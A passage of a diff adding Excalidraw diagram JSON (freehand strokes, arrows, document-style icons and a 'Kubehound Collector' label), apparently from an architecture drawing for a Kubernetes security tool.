21.276921542213728, + 7.265290282706552 + ], + [ + 28.715194926889364, + 7.265290282706552 + ], + [ + 30.27204284461238, + 7.265290282706552 + ], + [ + 32.693806272180794, + 7.265290282706552 + ], + [ + 34.077671087934746, + 7.265290282706552 + ], + [ + 35.11556969975052, + 7.265290282706552 + ], + [ + 35.2885528017196, + 7.611256486645364 + ], + [ + 35.2885528017196, + 7.957222690583523 + ], + [ + 35.2885528017196, + 8.822138200429572 + ], + [ + 35.2885528017196, + 9.341087506337463 + ], + [ + 35.2885528017196, + 9.68705371027562 + ], + [ + 34.25065418990381, + 10.897935424059828 + ], + [ + 31.828890762335398, + 11.24390162799864 + ], + [ + 25.601499091443323, + 12.627766443751925 + ], + [ + 23.35271876584398, + 12.80074954572166 + ], + [ + 16.087428483137437, + 13.83864815753679 + ], + [ + 11.589867831937454, + 14.876546769351915 + ], + [ + 8.476171996491415, + 15.741462279197966 + ], + [ + 6.22739167089208, + 16.606377789044014 + ], + [ + 4.84352685513814, + 16.952343992982172 + ], + [ + 3.632645141353277, + 17.298310196920983 + ], + [ + 2.594746529538803, + 17.644276400859145 + ], + [ + 1.729831019692099, + 17.990242604797956 + ], + [ + 1.3838648157539413, + 18.163225706767037 + ], + [ + 0.8649155098467044, + 18.163225706767037 + ], + [ + 0.5189493059072365, + 18.163225706767037 + ], + [ + 0, + 18.50919191070519 + ], + [ + -1.037898611814473, + 18.682175012674268 + ], + [ + -1.55684791772302, + 18.682175012674268 + ], + [ + -1.9028141216611774, + 18.855158114644006 + ], + [ + -2.0757972236302566, + 18.855158114644006 + ], + [ + -2.767729631506572, + 19.201124318582163 + ], + [ + -3.9786113452914345, + 19.201124318582163 + ], + [ + -5.189493059076296, + 19.37410742055124 + ], + [ + -5.535459263014454, + 19.720073624490055 + ], + [ + -5.708442364983533, + 19.89305672645913 + ], + [ + -5.535459263014454, + 20.23902293039729 + ], + [ + -3.459662039384198, + 20.757972236305186 + ], + [ + 0, + 21.622887746151232 + ], + [ + 4.151594447261823, + 22.3148201540282 + ], + [ + 8.649155098460493, + 23.00675256190452 + ], + [ + 13.146715749660475, + 23.52570186781241 + ], + [ + 20.412006032367024, + 24.56360047962754 + ], + [ + 23.006752561905827, + 24.90956668356635 + ], + [ + 26.12044839735056, + 25.082549785535427 + ], + [ + 27.677296315073583, + 25.255532887504508 + ], + [ + 28.023262519011737, + 25.255532887504508 + ], + [ + 26.985363907197264, + 25.255532887504508 + ], + [ + 23.52570186781307, + 25.601499091442665 + ], + [ + 19.72007362449071, + 26.120448397350557 + ], + [ + 16.087428483137437, + 27.5043132131045 + ], + [ + 12.627766443753238, + 29.234144232796595 + ], + [ + 8.822138200429572, + 32.1748569662729 + ], + [ + 5.881425466953922, + 34.42363729187289 + ], + [ + 3.9786113452914345, + 35.80750210762618 + ], + [ + 1.9028141216611774, + 37.19136692338012 + ], + [ + 0.6919324078776257, + 38.229265535195246 + ], + [ + 0, + 38.92119794307222 + ], + [ + -0.5189493059072365, + 39.44014724897945 + ], + [ + 0, + 39.44014724897945 + ], + [ + 1.0378986118157834, + 39.44014724897945 + ], + [ + 4.67054375316906, + 38.748214841103135 + ], + [ + 8.822138200429572, + 38.5752317391334 + ], + [ + 14.357597463445337, + 37.71031622928736 + ], + [ + 18.682175012674925, + 37.01838382141104 + ], + [ + 21.62288774615189, + 36.67241761747222 + ], + [ + 24.217634275689385, + 36.153468311564986 + ], + [ + 24.39061737765846, + 35.80750210762618 + ], + [ + 24.73658358159793, + 35.461535903688016 + ], + [ + 24.90956668356701, + 35.461535903688016 + ], + [ + 25.082549785536088, + 35.28855280171894 + ], + [ + 25.428515989474246, + 35.28855280171894 + ], + [ + 25.601499091443323, + 35.11556969974921 + ], + [ + 25.774482193412403, + 35.11556969974921 + ], + [ + 25.255532887505165, + 35.80750210762618 + ], + [ + 21.276921542213728, + 36.32645141353407 + ], + [ + 16.779360891013752, + 37.3643500253492 + ], + [ + 11.935834035875612, + 38.748214841103135 + ], + [ + 4.151594447261823, + 41.16997826867156 + ], + [ + 0, + 43.41875859427154 + ], + [ + -3.459662039384198, + 45.32157271593272 + ], + [ + -5.881425466952611, + 47.397369939563625 + ], + [ + -7.78423958861379, + 48.43526855137876 + ], + [ + -8.995121302398651, + 49.300184061224805 + ], + [ + -9.687053710274967, + 49.81913336713204 + ], + [ + -10.033019914214433, + 50.165099571070854 + ], + [ + -10.033019914214433, + 50.33808267303994 + ], + [ + -8.476171996491415, + 50.165099571070854 + ], + [ + -6.919324078768396, + 49.992116469101774 + ], + [ + -4.84352685513814, + 49.992116469101774 + ], + [ + -2.0757972236302566, + 49.992116469101774 + ], + [ + 2.0757972236302566, + 49.81913336713204 + ], + [ + 3.459662039384198, + 49.81913336713204 + ], + [ + 6.054408568923001, + 49.81913336713204 + ], + [ + 9.68705371027628, + 49.81913336713204 + ], + [ + 15.049529871321653, + 49.81913336713204 + ], + [ + 16.95234399298283, + 49.81913336713204 + ], + [ + 20.412006032367024, + 49.81913336713204 + ], + [ + 24.0446511737203, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 25.774482193412403, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 21.276921542213728, + 49.992116469101774 + ], + [ + 15.741462279197968, + 50.511065775009016 + ], + [ + 11.070918526030216, + 51.54896438682413 + ], + [ + 7.092307180737474, + 52.58686299863992 + ], + [ + 3.459662039384198, + 53.97072781439321 + ], + [ + 0.5189493059072365, + 55.181609528178065 + ], + [ + -1.9028141216611774, + 56.392491241962276 + ], + [ + -4.67054375316775, + 57.776356057716214 + ], + [ + -5.535459263014454, + 58.295305363623456 + ], + [ + -6.054408568921691, + 58.64127156756228 + ], + [ + -6.227391670890769, + 58.814254669531344 + ], + [ + -6.400374772859848, + 58.814254669531344 + ], + [ + -6.573357874830237, + 58.987237771500425 + ], + [ + -6.054408568921691, + 58.987237771500425 + ], + [ + -4.324577549229591, + 58.987237771500425 + ], + [ + -1.55684791772302, + 58.987237771500425 + ], + [ + 3.8056282433223547, + 59.50618707740833 + ], + [ + 8.995121302398651, + 60.37110258725436 + ], + [ + 10.206003016183512, + 60.37110258725436 + ], + [ + 12.28180023981377, + 60.890051893161605 + ], + [ + 12.9737326476914, + 61.40900119906949 + ], + [ + 13.146715749660475, + 61.40900119906949 + ], + [ + 13.66566505556771, + 61.40900119906949 + ], + [ + 14.703563667383497, + 61.40900119906949 + ], + [ + 16.087428483137437, + 61.40900119906949 + ], + [ + 19.374107420551244, + 61.40900119906949 + ], + [ + 20.584989134336105, + 61.40900119906949 + ], + [ + 23.006752561905827, + 61.40900119906949 + ], + [ + 26.466414601290026, + 61.75496740300766 + ], + [ + 28.19624562098213, + 61.92795050497674 + ], + [ + 29.06116113082752, + 62.10093360694646 + ], + [ + 29.234144232796606, + 62.10093360694646 + ], + [ + 29.40712733476568, + 62.10093360694646 + ], + [ + 29.753093538703833, + 62.10093360694646 + ], + [ + 29.753093538703833, + 61.75496740300766 + ], + [ + 29.92607664067423, + 61.40900119906949 + ], + [ + 29.92607664067423, + 60.890051893161605 + ], + [ + 30.27204284461238, + 59.16022087346949 + ], + [ + 30.27204284461238, + 57.94933915968531 + ], + [ + 30.27204284461238, + 56.565474343931356 + ], + [ + 30.27204284461238, + 55.00862642620834 + ], + [ + 30.27204284461238, + 53.45177850848597 + ], + [ + 30.27204284461238, + 51.54896438682413 + ], + [ + 30.27204284461238, + 47.74333614350178 + ], + [ + 30.27204284461238, + 46.878420633655736 + ], + [ + 30.099059742643306, + 44.97560651199456 + ], + [ + 29.753093538703833, + 42.89980928836365 + ], + [ + 29.753093538703833, + 40.651028962764315 + ], + [ + 29.753093538703833, + 39.959096554887346 + ], + [ + 29.753093538703833, + 38.92119794307222 + ], + [ + 29.753093538703833, + 38.40224863716433 + ], + [ + 29.753093538703833, + 38.229265535195246 + ], + [ + 29.753093538703833, + 38.056282433226166 + ], + [ + 29.753093538703833, + 37.88329933125709 + ], + [ + 29.753093538703833, + 37.71031622928736 + ], + [ + 29.753093538703833, + 37.53733312731828 + ], + [ + 29.92607664067423, + 37.01838382141104 + ], + [ + 30.099059742643306, + 36.8454007194413 + ], + [ + 30.27204284461238, + 35.98048520959526 + ], + [ + 30.27204284461238, + 35.80750210762618 + ], + [ + 30.27204284461238, + 35.28855280171894 + ], + [ + 30.618009048550547, + 34.94258659778012 + ], + [ + 30.618009048550547, + 34.42363729187289 + ], + [ + 30.618009048550547, + 34.250654189903166 + ], + [ + 30.618009048550547, + 33.731704883995924 + ], + [ + 30.44502594658146, + 33.21275557808803 + ], + [ + 29.234144232796606, + 31.828890762334748 + ], + [ + 28.715194926889364, + 31.65590766036501 + ], + [ + 25.601499091443323, + 30.272042844611725 + ], + [ + 19.547090522521632, + 29.580110436734746 + ], + [ + 14.703563667383497, + 29.580110436734746 + ], + [ + 10.033019914214433, + 29.580110436734746 + ], + [ + 6.054408568923001, + 29.580110436734746 + ], + [ + 3.11369583544604, + 29.580110436734746 + ], + [ + 0.5189493059072365, + 29.580110436734746 + ], + [ + -1.729831019692099, + 29.580110436734746 + ], + [ + -3.9786113452914345, + 29.580110436734746 + ], + [ + -4.84352685513814, + 29.580110436734746 + ], + [ + -5.881425466952611, + 29.580110436734746 + ], + [ + -6.746340976799316, + 29.580110436734746 + ], + [ + -7.265290282706554, + 29.580110436734746 + ], + [ + -7.438273384675631, + 29.75309353870383 + ], + [ + -7.265290282706554, + 30.963975252488694 + ], + [ + -6.919324078768396, + 32.866789374149874 + ], + [ + -6.400374772859848, + 34.59662039384197 + ], + [ + -6.227391670890769, + 35.98048520959526 + ], + [ + -6.054408568921691, + 36.32645141353407 + ], + [ + -6.054408568921691, + 35.98048520959526 + ], + [ + -6.054408568921691, + 35.98048520959526 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "text", + "version": 1344, + "versionNonce": 1649617120, + "index": "c14rQ", + "isDeleted": false, + "id": "5UAbybkn", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2654.084805272124, + "y": -1358.0186900077115, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 323.1781688481509, + "height": 41.60380510113408, + "seed": 1959506872, + "groupIds": [ + "6FhQX3Y64OknSEB0jXOLk", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "fontSize": 33.28304408090725, + "fontFamily": 1, + "text": "Kubehound Collector", + "rawText": "Kubehound Collector", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Kubehound Collector", + "autoResize": true, + "lineHeight": 1.2500000000000004 + }, + { + "type": "arrow", + "version": 678, + "versionNonce": 62590176, + "index": "c14rR", + "isDeleted": false, + "id": "xAVi6bbsBSDx2HnlMi704", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2785.56872842299, + "y": -1439.2359413000058, + "strokeColor": "#1971c2", + "backgroundColor": "#a5d8ff", + "width": 273.44860840862333, + "height": 28.752775883250248, + "seed": 489598648, + "groupIds": [ + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": "arrow", + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -273.44860840862333, + 28.752775883250248 + ] + ] + }, + { + "type": "image", + "version": 1238, + "versionNonce": 1988522208, + "index": "c14rS", + "isDeleted": false, + "id": "VFDLkTB1TP7xvbL2ZLyMJ", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2783.074494239022, + "y": -1050.8223200918897, + "strokeColor": "transparent", + "backgroundColor": "transparent", + "width": 59.31260314165222, + "height": 59.31260314165222, + "seed": 527196344, + "groupIds": [ + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "status": "pending", + "fileId": "81f9bb5db816b95a6807fdda2a002845e40fd318", + "scale": [ + 1, + 1 + ] + }, + { + "type": "arrow", + "version": 2159, + "versionNonce": 1075460384, + "index": "c14rT", + "isDeleted": false, + "id": "xs_r2Wbxg7mtiSJU-7pVz", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2749.7081026292126, + "y": -1014.7755830089693, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 48.06323077613782, + "height": 49.15278711100987, + "seed": 1984487608, + "groupIds": [ + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453653, + "link": null, + "locked": false, + "startBinding": { + "elementId": "ggp7B5NaV8dbBSSMjTgof", + "focus": 0.5480754823156273, + "gap": 15.33992591857566 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + 2.028972029089371, + 16.102550061846934 + ], + [ + 42.16140273164426, + 19.643646888542072 + ], + [ + 48.06323077613782, + 49.15278711100987 + ] + ] + }, + { + "type": "arrow", + "version": 2200, + "versionNonce": 1857426720, + "index": "c14rU", + "isDeleted": false, + "id": "wwIQ7p2yjr4Ep2QInToEe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2878.086076682151, + "y": -1016.0905916056263, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 47.38217418320537, + "height": 51.6856307575188, + "seed": 1289488824, + "groupIds": [ + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453653, + "link": null, + "locked": false, + "startBinding": { + "elementId": "BCcAk7PVIJDx8-GLXdERZ", + "focus": -0.4867971757461697, + "gap": 13.071554289630171 + }, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": "arrow", + "points": [ + [ + 0, + 0 + ], + [ + -1.347915436156937, + 18.63539370835586 + ], + [ + -41.480346138711816, + 22.176490535051 + ], + [ + -47.38217418320537, + 51.6856307575188 + ] + ] + }, + { + "type": "line", + "version": 1526, + "versionNonce": 148741344, + "index": "c14rV", + "isDeleted": false, + "id": "axqCFZ5JYj7416syr9gkB", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2732.0420878961713, + "y": -1080.6359991130048, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 421663416, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1713, + "versionNonce": 1490485472, + "index": "c14rW", + "isDeleted": false, + "id": "yBhInQ-U8dPhO8UDudij_", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2729.569489459019, + "y": -1078.8019076290673, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1639906232, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1449, + "versionNonce": 738452704, + "index": "c14rX", + "isDeleted": false, + "id": "mLNsx6_YxfiWH7poY27Ra", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2727.125811031192, + "y": -1076.9678161451275, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 953599160, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1347, + "versionNonce": 1341409504, + "index": "c14rY", + "isDeleted": false, + "id": "lH53FOnzJ0FUKAzNYXiUX", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2742.4423805081815, + "y": -1090.9639917016882, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 13.468017988387276, + "height": 13.732096772473094, + "seed": 1275948472, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.5281575681716392, + 13.732096772473094 + ], + [ + -13.468017988387276, + 13.732096772473094 + ] + ] + }, + { + "type": "rectangle", + "version": 1344, + "versionNonce": 1614294240, + "index": "c14rZ", + "isDeleted": false, + "id": "CXZ8QKLttSkglpbeJklw_", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.650144155923, + "y": -1073.2707131679238, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1955002040, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1365, + "versionNonce": 106926304, + "index": "c14ra", + "isDeleted": false, + "id": "zsfGLe3jcHEgIAXOmfqzQ", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.789413550303, + "y": -1062.2684310122459, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1189568440, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1397, + "versionNonce": 972715232, + "index": "c14rb", + "isDeleted": false, + "id": "Z9zoMK30mZv52am7Fvf3C", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.650144155923, + "y": -1053.1269819345061, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 592619704, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1424, + "versionNonce": 10016992, + "index": "c14rc", + "isDeleted": false, + "id": "MT6Rkv5jGQBLBqf4g9-5w", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.650144155923, + "y": -1044.5206365664017, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1164759480, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "xs_r2Wbxg7mtiSJU-7pVz", + "type": "arrow" + } + ], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1444, + "versionNonce": 768261344, + "index": "c14rd", + "isDeleted": false, + "id": "ggp7B5NaV8dbBSSMjTgof", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.650144155923, + "y": -1035.661163393351, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1415174840, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "xs_r2Wbxg7mtiSJU-7pVz", + "type": "arrow" + } + ], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1524, + "versionNonce": 271123680, + "index": "c14re", + "isDeleted": false, + "id": "fS1QfQ_x8vhF2MkTo7Mvm", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2741.352403406064, + "y": -1088.1236154707283, + "strokeColor": "#364fc711", + "backgroundColor": "transparent", + "width": 45.84052202184127, + "height": 64.69568013648461, + "seed": 1925039032, + "groupIds": [ + "vbvjyhEYNukyqRKMct71y", + "2QV_KmOsg7KKEw7pVVuV-", + "O-bbiSlnAip1o6o3ShRLT", + "55fzAsdBxWHJFyqlYsgTm", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.1729831019690788 + ], + [ + 0.17298310196907882, + -0.3459662039388127 + ], + [ + 1.3838648157539413, + -0.5189493059078916 + ], + [ + 5.535459263014454, + -0.5189493059078916 + ], + [ + 9.34108750633812, + -0.5189493059078916 + ], + [ + 13.319698851629552, + -1.037898611815128 + ], + [ + 17.644276400859145, + -1.7298310196920987 + ], + [ + 21.79587084812097, + -2.24878032559999 + ], + [ + 25.082549785536088, + -2.24878032559999 + ], + [ + 26.985363907197264, + -2.4217634275690694 + ], + [ + 28.36922872295121, + -2.594746529538148 + ], + [ + 28.542211824920283, + -2.594746529538148 + ], + [ + 28.023262519011737, + -2.4217634275690694 + ], + [ + 26.293431499319638, + -1.3838648157539408 + ], + [ + 23.52570186781307, + -0.3459662039388127 + ], + [ + 19.028141216613083, + 0.8649155098460494 + ], + [ + 14.011631259505869, + 1.7298310196920987 + ], + [ + 7.265290282706554, + 2.9407127334763055 + ], + [ + 1.0378986118157834, + 3.632645141353276 + ], + [ + -4.84352685513814, + 4.497560651199326 + ], + [ + -9.341087506336807, + 5.189493059076296 + ], + [ + -10.206003016183512, + 5.3624761610453735 + ], + [ + -10.378986118152593, + 5.708442364983532 + ], + [ + -10.551969220121672, + 5.708442364983532 + ], + [ + -10.378986118152593, + 6.054408568922345 + ], + [ + -8.995121302398651, + 6.227391670891424 + ], + [ + -4.151594447260513, + 6.573357874829582 + ], + [ + -1.55684791772302, + 7.092307180737473 + ], + [ + 5.016509957107217, + 7.092307180737473 + ], + [ + 13.146715749660475, + 7.265290282706552 + ], + [ + 21.276921542213728, + 7.265290282706552 + ], + [ + 28.715194926889364, + 7.265290282706552 + ], + [ + 30.27204284461238, + 7.265290282706552 + ], + [ + 32.693806272180794, + 7.265290282706552 + ], + [ + 34.077671087934746, + 7.265290282706552 + ], + [ + 35.11556969975052, + 7.265290282706552 + ], + [ + 35.2885528017196, + 7.611256486645364 + ], + [ + 35.2885528017196, + 7.957222690583523 + ], + [ + 35.2885528017196, + 8.822138200429572 + ], + [ + 35.2885528017196, + 9.341087506337463 + ], + [ + 35.2885528017196, + 9.68705371027562 + ], + [ + 34.25065418990381, + 10.897935424059828 + ], + [ + 31.828890762335398, + 11.24390162799864 + ], + [ + 25.601499091443323, + 12.627766443751925 + ], + [ + 23.35271876584398, + 12.80074954572166 + ], + [ + 16.087428483137437, + 13.83864815753679 + ], + [ + 11.589867831937454, + 14.876546769351915 + ], + [ + 8.476171996491415, + 15.741462279197966 + ], + [ + 6.22739167089208, + 16.606377789044014 + ], + [ + 4.84352685513814, + 16.952343992982172 + ], + [ + 3.632645141353277, + 17.298310196920983 + ], + [ + 2.594746529538803, + 17.644276400859145 + ], + [ + 1.729831019692099, + 17.990242604797956 + ], + [ + 1.3838648157539413, + 18.163225706767037 + ], + [ + 0.8649155098467044, + 18.163225706767037 + ], + [ + 0.5189493059072365, + 18.163225706767037 + ], + [ + 0, + 18.50919191070519 + ], + [ + -1.037898611814473, + 18.682175012674268 + ], + [ + -1.55684791772302, + 18.682175012674268 + ], + [ + -1.9028141216611774, + 18.855158114644006 + ], + [ + -2.0757972236302566, + 18.855158114644006 + ], + [ + -2.767729631506572, + 19.201124318582163 + ], + [ + -3.9786113452914345, + 19.201124318582163 + ], + [ + -5.189493059076296, + 19.37410742055124 + ], + [ + -5.535459263014454, + 19.720073624490055 + ], + [ + -5.708442364983533, + 19.89305672645913 + ], + [ + -5.535459263014454, + 20.23902293039729 + ], + [ + -3.459662039384198, + 20.757972236305186 + ], + [ + 0, + 21.622887746151232 + ], + [ + 4.151594447261823, + 22.3148201540282 + ], + [ + 8.649155098460493, + 23.00675256190452 + ], + [ + 13.146715749660475, + 23.52570186781241 + ], + [ + 20.412006032367024, + 24.56360047962754 + ], + [ + 23.006752561905827, + 24.90956668356635 + ], + [ + 26.12044839735056, + 25.082549785535427 + ], + [ + 27.677296315073583, + 25.255532887504508 + ], + [ + 28.023262519011737, + 25.255532887504508 + ], + [ + 26.985363907197264, + 25.255532887504508 + ], + [ + 23.52570186781307, + 25.601499091442665 + ], + [ + 19.72007362449071, + 26.120448397350557 + ], + [ + 16.087428483137437, + 27.5043132131045 + ], + [ + 12.627766443753238, + 29.234144232796595 + ], + [ + 8.822138200429572, + 32.1748569662729 + ], + [ + 5.881425466953922, + 34.42363729187289 + ], + [ + 3.9786113452914345, + 35.80750210762618 + ], + [ + 1.9028141216611774, + 37.19136692338012 + ], + [ + 0.6919324078776257, + 38.229265535195246 + ], + [ + 0, + 38.92119794307222 + ], + [ + -0.5189493059072365, + 39.44014724897945 + ], + [ + 0, + 39.44014724897945 + ], + [ + 1.0378986118157834, + 39.44014724897945 + ], + [ + 4.67054375316906, + 38.748214841103135 + ], + [ + 8.822138200429572, + 38.5752317391334 + ], + [ + 14.357597463445337, + 37.71031622928736 + 